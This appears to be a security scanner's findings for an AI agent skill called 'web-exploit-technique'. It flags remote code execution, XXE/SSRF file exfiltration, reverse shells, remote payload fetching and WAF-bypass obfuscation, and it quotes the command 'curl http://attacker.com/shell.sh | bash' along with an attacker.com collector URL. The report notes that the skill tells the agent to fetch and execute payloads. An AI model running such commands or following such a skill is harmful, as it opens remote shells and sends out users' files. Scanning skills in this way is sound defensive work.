The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill contains multiple commands that download shell scripts from an untrusted external domain and pipe them directly into a bash shell. Examples include curl http://attacker.com/shell.sh | bash found in the documentation for deserialization and SQL injection exploitation.
[DATA_EXFILTRATION]: Reference materials provide ready-to-use XML External Entity (XXE) and Server-Side Request Forgery (SSRF) payloads specifically designed to exfiltrate sensitive local files, such as /etc/passwd, to an external collector at http://attacker.com/collect.
[COMMAND_EXECUTION]: The skill distributes numerous reverse shell one-liners for Bash, Python, and PowerShell. Specifically, the file references/injection-attacks.md was flagged by anti-virus scanners for containing a PowerShell-based remote shell tool.
[EXTERNAL_DOWNLOADS]: The skill instructs the agent to fetch and execute payloads from attacker.com, a domain identified by reputation scanners as being associated with phishing and malicious activity.
[OBFUSCATION]: The file references/waf-bypass.md contains techniques for obfuscating malicious payloads using Base64, URL encoding, and hex escapes to evade web application firewalls, which can be misused to hide malicious intent during runtime.

web-exploit-technique